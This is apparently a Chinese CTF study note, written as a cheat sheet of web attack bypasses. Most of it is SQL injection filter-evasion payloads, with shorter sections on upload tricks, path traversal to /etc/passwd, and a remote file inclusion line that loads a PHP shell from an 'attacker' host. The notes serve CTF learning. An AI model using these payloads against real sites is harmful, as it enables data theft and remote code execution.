WEB-CTF中的绕过

— 从零开始的笔记 —
— sql,上传,目录 —


sql注入

编码

  • url base64 utf-8… (全部编码或个别编码)
  • 字符–>char()
    SELECT FROM Users WHERE username = CHAR(101,97,115,116)
  • hex
    SELECT password FROM Users WHERE username = 0x61646D696E
  • %2527 -> %27 -> ‘ (绕过magic_quotes_gpc对于’的加/过滤,特定情况可以用吧)

重复

admin —> adadminmin
admin —> adminadmin

大小写混用

SeLeT 不多解释

过滤空格

  • 两个空格代替一个空格,TAB代替空格
  • 用注释符号代替空格 /*/ /.1/ /ddd*/ (ddd为无意义的字母)
  • 用括号代替空格 ()
  • 用+代替空格
  • %0a %a0 %20 %09 %0B %0C %0D
  • 用花括号代替空格 {}
1
2
3
4
5
6
7
8
9
#()
select(1)
#利用函数完成猜解 如: 猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟
http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
# ' "
select'1'
select"1"
# {}
select{1}
  • +代替空格 不是url编码空格的+而是直接的+ select+user()
  • 单引号双引号代替空格

过滤information_schema.tables等关键表名

  • select table_name from mysql.innodb_table 不清楚何时起作用,起码我的mysql中没有innodb_table这个表
  • information_schema . tables
  • /!50000information_schema.tables/
  • 尝试其他也包含库表信息的表information_schema.key_column_usage/partitions/statistics/table_constraints

过滤=

  • =用like代替
  • 需要与零比较:-1 or 1=1 and ord(substr(user(),1,1))-114
  • substring(flag,1,1)in(‘a’) / substring(flag,1,1)in(0x97)

Mysql条件注释的利用 /*! ... */

  • /*! ... */:其中的语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。
  • /*!50000select*/:50000版本以上的 不执行括号中的语句 ,必定执行,用于过滤正则表达式
  • /*/* ... */

过滤逗号

  • limit ,中的,limit offset
  • substr() mid()等函数中的,select substr(database() from 1 for 1);

过滤引号

使用十六进制可以绕过引号
如:”users” —> 0x7573657273

过滤<与>

使用GREATEST()绕过比较操作符。
select * from users where id=1 and ascii(substr(database(),0,1))>64 ——->
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

过滤sleep

benchmark(x, y)
benchmark(10000000,sha(1)) 1000次sha(1),来时间延迟

sleep中不能使用数字

用pi()函数绕过
sleep(ceil(pi()))

过滤注释符号(#,–)

  • id=1’ union select 1,2,3||’1
  • id=1’ union select 1,2,’3

过滤单引号

尝试宽字节 %bf%27 %df%27 %aa%27

过滤order by

当order by 被过滤后就可以使用into 变量来绕过
select * from yz limit 1,1 into @a,@b,@c;

过滤列名

有些时候存在过滤了or 导致password列就无法读取了
有两种情况在不使用列名的情况下,读取到该列的数据

  1. 假设存在两列 username,password。or被过滤了
    1
    select (select `2` from (select 1,2 union select * from user )a limit 1,1

(反引号)2(反引号) 是select 1,2 这里2所代表的一列,也就是password这一列。
此处会返回password这一列所有内容 以及 2。
使用limit 1,1 读取原表password列的第一行

  1. 以下方法未测试,在知道user的情况下去读取同一行的另外一列
    1
    2
    3
    4
    select ((select * from user)<(select 'user','6'))
    返回0
    select ((select * from user)<(select 'user','7'))
    返回1

由于字符串比较会逐位比较,可以看出password第一位为6 之后继续比较

3.

1
select group_concat(fuck.2) from (select 1,2 union select * from user)fuck

利用等价函数

  • hex()、bin() ==> ascii()
  • sleep() ==> benchmark()
  • concat_ws()==> group_concat()
  • mid()、substr() ==> substring()
  • @@user ==> user()
  • @@datadir ==> datadir()

文件上传

随便提几个基础的:

  • 文件名限制 1.php.jpeg 可以在服务端使用php格式打开执行
  • 文件类型限制 burpsuite 修改image/jpeg
  • 文件大小限制 修改信息文件限制大小参数
  • 文件内容头部 修改文件内容头部
    高端的,直接上0kami的博客

文件包含及目录遍历

两者应用相似,唯一不同就在于:前者是在url的参数中,后者是直接在url上

%00截断

– 0字节 \x00
(magic_quotes_gpc=off PHP小于5.3.4)
../../../../../../etc/passwd%00

长目录截断

利用操作系统对目录最大长度的限制
(php版本小于5.2.8(?) linux>4096 windows>256)
././././././././././././././././passwd././././././././././././././
////////////////////////passwd//////////////////////

点号截断

(php版本小于5.2.8(?) 只适用windows 最后点号>256)
?file=../../../../../../../../../boot.ini/………[…]…………

远程文件包含中的?

远程文件包含本身参数传递的就是url地址,末尾加个会把之后的系统后台添加的字符串理解为无用参数
/?param=http://attacker/phpshell.txt?
require_once 'http://attacker/phpshell.txt?/action/m_share.php';

以上偷取葛大佬的部分栗子